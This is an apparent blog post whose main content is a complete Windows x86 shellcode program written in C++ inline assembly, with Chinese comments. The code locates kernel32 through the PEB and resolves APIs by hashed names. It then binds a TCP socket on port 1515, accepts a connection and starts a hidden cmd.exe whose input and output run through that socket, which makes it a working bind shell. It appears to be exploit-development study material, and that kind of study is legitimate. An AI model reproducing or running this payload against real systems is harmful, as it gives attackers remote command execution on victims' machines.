• FirstPayload


    FirstPayload

    // FirstPayload.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //

    #include "pch.h"
    #include <iostream>

    int main()
    {
    __asm
    {
    SUB ESP,0x20 // 开辟一段栈空间,增加健壮性
    push ebp
    mov ebp,esp
    sub esp,0x10
    JMP tag_Shellcode  // 前置代码,避免后面的数据被解释为指令

    // cmd.exe
    // [tag_Next-0x25]
    _asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
    _asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)

    // ws2_32.dll        
    // [tag_Next-0x1D]
    _asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
    _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
    _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)

    // kernel32.dll
    // [tag_Next-0x12]
    _asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
    _asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
    _asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
    _asm _emit(0x00)

    tag_Shellcode:
    //1.GetPC
    CALL tag_Next
    tag_Next:
    pop ebx // BaseAddr
    mov [ebp-0x04],ebx // LOCAL_1=Shellcode BaseAddr
    // 2.获取关键模块基址
    mov esi,dword ptr fs:[0x30] // PEB的地址
    mov esi,[esi+0x0C] // 指向PEB_LDR_DATA的指针
    mov esi,[esi+0x1C] // 模块链表指针
    mov esi,[esi] // 访问链表中的第二个条目
    mov edx,[esi+0x08] // 获取Kernel32.dll基址
    // 3.获取LoadLibraryExA的函数地址
    push edx // ImageBase =Kernel32.dll
    push 0xC0D83287 // nHashDigest=LoadLibraryExA Digest
    call fun_GetFunAddrByHash // 根据哈希值找函数地址的自定义函数
    mov edi,eax // LoadLibraryExA

    // 4.加载Kernel32.dll,增强兼容性(win7取得的是KernelBase.dll的基址)
    lea esi,[ebx-0x12] // kernel32.dll
    push 0 // /-dwFlags=0
    push 0 // |-hFile =0
    push esi // |-lpLibFileName =kernel32.dll
    call edi // LoadLibraryExA()
    mov [ebp-0x08],eax // LOCAL2=Kernel32.dll基址

    // 5.加载ws2_32.dll以方便后面的网络通信编程
    lea esi, [ebx - 0x1D] // ws2_32.dll
    push 0 // /-dwFlags=0
    push 0 // |-hFile =0
    push esi // |-lpLibFileName =ws2_32.dll
    call edi // LoadLibraryExA()
    mov[ebp - 0x0C], eax // LOCAL3=ws2_32.dll基址

    // 6. 执行Payload部分
    push [ebp-0x0C] // ws2_32.dll基址
    push [ebp-0x08] // Kernel32.dll基址
    push [ebp-0x04] // BaseAddr
    call fun_Payload //

    // 7.Payload执行完毕,结束程序,防止被调试分析
    push [ebp-0x08] // IMAGEBASE =PARAM_2(Kernel32.dll)
    push 0x4FD18963 // nHashDigest=ExitProcess Digest
    call fun_GetFunAddrByHash // fun_GetFunAddrByHash
    push 0 // /-uExitCode =NULL
    call eax // ExitProcess()
    mov esp,ebp //
    pop ebp //

    //////////////////////////////////////////////////////////////////////////
    //根据哈希值获取函数,返回值为关键函数地址
    //////////////////////////////////////////////////////////////////////////
    fun_GetFunAddrByHash://(int nHashDigest,int ImageBase)

    push ebp
    mov ebp,esp
    sub esp,0x0C
    push edx
    // 1.获取EAT ENT EOT
    mov edx,[ebp+0x0C]  // PARAM_1 (ImageBase)
    mov esi,[edx+0x3C]  // IMAGE_DOS_HEADER.E_LFANEW
    lea esi,[edx+esi]   // PE文件头
    mov esi,[esi+0x78]  // IMAGE_DIR...EXPORT.VirtualAddress
    lea esi,[edx+esi]   // 导出表首地址
    mov edi,[esi+0x1C]  // IMAGE_EXP...ORY.AddressOfFunctions
    lea edi,[edx+edi]   // EAT首地址
    mov [ebp-0x04],edi  // LOCAL_1 EAT首地址
    mov edi,[esi+0x20]  // IMAGE_EXP...ORY.AddressOfNames
    lea edi,[edx+edi]   // ENT首地址
    mov [ebp-0x08],edi  // LOCAL_2 ENT首地址
    mov edi,[esi+0x24]  // IMAGE_EXP...ORY.AddressOfNameOrdinals
    lea edi,[edx+edi]   // EOT首地址
    mov [ebp-0x0C],edi  // EOT首地址
    // 2.循环对比ENT中的函数名
    xor ecx,ecx
    jmp tag_FirstCmp
    tag_CmpFunNameLoop:
    inc ecx
    tag_FirstCmp:
    mov esi,[ebp-0x08] // LOCAL_2e ENT
    mov esi,[esi+4*ecx] // ENT RVA
    mov edx,[ebp+0x0C] // PARAM_1 IMAGEBASE
    lea esi,[edx+esi] // ENT VA
    push [ebp+0x08] // 传参nDigest = PARAM_1(nDigest)
    push esi // 传参strFunName = ENT VA
    call fun_Hash_CmpString // 比较哈希值
    test eax,eax // 如果相等eax为1,否则为0
    je tag_CmpFunNameLoop   // 备注,书本上是jne
    // 3.成功后找到对应的序号
    mov esi,[ebp-0x0C] // LOCAL_3 EOT
    xor edi,edi
    mov di,[esi+ecx*2] // 用函数名数组下标在序号数组找到对应的序号
    // 4.使用序号作为索引,找到函数名所对应的函数地址
    mov edx,[ebp-0x04] // LOCAL_1 EAT
    mov esi,[edx+edi*4] // 用序号在函数地址数组找到对应的函数地址
    mov edx,[ebp+0x0C] // param_1 imagebase
    // 5.返回获取到的关键函数地址
    lea eax,[edx+esi] // 返回GetProcAddress的地址
    pop edx
    mov esp,ebp
    pop ebp
    retn 0x08

    fun_Hash_CmpString: //(char * strFunName,int nDigest)
    push ebp
    mov ebp,esp
    sub esp,0x04        //开辟局部变量并清零
    mov dword ptr [ebp-0x04],0x00
    push ebx //保存用到的寄存器
    push ecx
    push edx
    mov esi,[ebp+0x08] // PARAM_1(strFunName)
    xor ecx,ecx
    xor eax,eax
    tag_HashLoop:
    mov al,[esi+ecx] // al=字符串的第ecx个字符
    test al,al // 判断是否为0,为0结束循环
    jz tag_HashEnd

    mov ebx,[ebp-0x04] // LOCAL_1(摘要)
    shl ebx,0x19 // 摘要<<0x19(25)
    mov edx,[ebp-0x04] // LOCAL_1(摘要)
    shr edx,0x07 // 摘要>>0x07(07)
    or ebx,edx // ebx|edx
    add ebx,eax // edx+字符的ASCII
    mov [ebp-0x04],ebx
    inc ecx // ecx++
    jmp tag_HashLoop



    tag_HashEnd:
    mov ebx,[ebp+0x0C] // PARAM_2(nDigest)
    mov edx,[ebp-0x04] // LOCAL_1(摘要)
    xor eax,eax
    cmp ebx,edx
    jne tag_FunEnd // 备注
    mov eax,1

    tag_FunEnd:
    pop edx
    pop ecx
    pop ebx
    mov esp,ebp
    pop ebp
    retn 0x08

    //////////////////////////////////////////////////////////////////////////
    //有效荷载,返回值NULL
    //////////////////////////////////////////////////////////////////////////
    fun_Payload:// (int BaseAddr,int Kernel32_Base,int ws2_32_Base)
    push ebp
    mov ebp,esp
    sub esp,0x300
    // 1.初始化Winsock服务
    push [ebp+0x10] // IMAGEBASE =PARAM_3(ws2_32.dll)
    push 0x80B46A3D // nHashDigest =WSAStartup Digest
    call fun_GetFunAddrByHash // fun_GetFunAddrByHash
    lea esi ,[ebp-0x300] // WSAData
    push esi // /-lpWSAData=WSADATA
    push 0x0202 // |-wVersionRequested=2.2
    call eax // WSAStartup()
    test eax,eax
    jnz tag_PaloadEnd
    // 2.创建一个原始套接字
    push [ebp+0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)
    push 0xDE78322D // nHashDigest =WSASocketA Digest
    call fun_GetFunAddrByHash // fun_GetFunAddrByHash
    push 0 // /-dwFlags=0
    push 0 // |-g =0
    push 0 // |-lpProtocolInfo=0
    push 6 // |-protocol=IPPROTO_TCP
    push 1 // |-type=SOCK_STREAM
    push 2 // |-AF =af_inet
    call eax // WSASocketA()
    mov[ebp - 0x04], eax // LOCAL_1=SOCKET

    // 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0XBE05]
    push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)
    PUSH 0xDDA71064 // nHashDigest =bind Digest
    call fun_GetFunAddrByHash // fun_GetFunAddrByHash
    mov word ptr [ebp-0x200],0x02 // /SOCKADDR_IN.sin_family=AF_INET
    mov word ptr [ebp-0x1FE],0xEB05 // |SOCKADDR_IN.sin_port=0xEB05(1515)
    mov dword ptr [ebp-0x1FC],0 // SOCKADDR_IN.sin_addr=INADDR_ANY
    lea esi,[ebp-0x200] // SOCKADDR_IN
    push 0x14 // /-namelen =0x14
    push esi // |-name =SOCKADDR_IN
    push [ebp-0x04] // |-s LOCAL_1(socket)
    call eax // bind()
    test eax,eax //
    jnz tag_PaloadEnd
    // 4. 监听申请的连接,队列中可容纳5个链接
    push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)
    push 0x4BD39F0C // nHashDigest =listen Digest
    call fun_GetFunAddrByHash // fun_GetFunAddrByHash
    push 0x7FFFFFFF // /-backlog =SOMAXCONN
    push[ebp - 0x04] // |-s LOCAL_1(socket)
    call eax // listen()
    test eax, eax
    jnz tag_PaloadEnd

    // 5. 接受一个链接
    push[ebp + 0x10] // IMAGEBASE =PARAM_3(WS2_32.dll)
    push 0x01971EB1    // nHashDigest =accept Digest
    call fun_GetFunAddrByHash // fun_GetFunAddrByHash
    push 0 // /-addrlen =0
    push 0 // /-addr =0
    push[ebp - 0x04] // |-s LOCAL_1(socket)
    call eax // accept()
    mov [ebp-0x04],eax // LOCAL_1(SOCKET)=SOCKET

    // 6.创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字下

    push[ebp + 0x0C] // IMAGEBASE =PARAM_3(kernel32.dll)
    push 0x6BA6BCC9    // nHashDigest =CreateProcessA Digest
    call fun_GetFunAddrByHash // fun_GetFunAddrByHash
    mov edx,eax // CreateProcessA
    lea edi,[ebp-0x90] // /-清空STARTUPINFOA
    mov ecx,0x11 // |-STARTUPINFOA
    mov eax,0x00 // |-从[ebp-0x90]开始
    cld // |-到[ebp-0x48]结束
    rep stosd // |-
    mov dword ptr [ebp-0x90],0x00000044 // |-STA...A.cb=48
    mov dword ptr [ebp-0x64],0x00000100 // |-STA...A.dwFlags=startf...
    mov word ptr [ebp-0x60],0x0000 // |-STA...A.wShowWindow=SW_HIDE
    mov esi,[ebp-0x04] // |-LOCAL_1(SOCKET)
    mov dword ptr[ebp - 0x58], esi // |-STA...A.hStdInput=SOCKET
    mov dword ptr[ebp - 0x54], esi // |-STA...A.hStdOutput=SOCKET
    mov dword ptr[ebp - 0x50], esi // -STA...A.hStdError =SOCKET
    lea esi,[ebp-0x90] // STARTUPINFOA
    lea edi,[ebp-0x200] // PROCESS_INFORMATION
    mov ebx,[ebp+0x08] // PARAM_1(BaseAddr)
    lea ebx,[ebx-0x25] // cmd.exe

    push edi // /-lpProcessInformation=PROCESS_INFORMATION
    push esi // |-lpStartupInfo =STARTUPINFOA
    push 0 // |-lpCurrentDirectory=0
    push 0 // |-lpEnvironment=0
    push 0 // |-dwCreationFlags=0
    push 1 // |-bInheritHandles=1
    push 0 // |-lpThreadAttributes=0
    push 0 // |-lpProcessAttributs=0
    push ebx // |-lpCommandLine=cmd.exe
    push 0 // |-lpApplicationName=0
    call edx // CreateProcessA()
    tag_PaloadEnd: //
    mov esp,ebp //
    pop ebp //
    retn 0x0C //





    }
    }


  • 相关阅读:
    Ext.create() 时的自适应高度和宽度
    C++ builder快捷键大全
    删除右键菜单中的选项
    函数中指针和引用的形参和实参
    一道关于继承和多态的题目
    关于静态对象构造
    关于多态代码和运行结果
    如何使用C++ Builder 6.0连接Access数据库
    BCB中的RTTI机制
    scanf()返回值(转)
  • 原文地址:https://www.cnblogs.com/ltyandy/p/11352494.html
Copyright © 2020-2023  润新知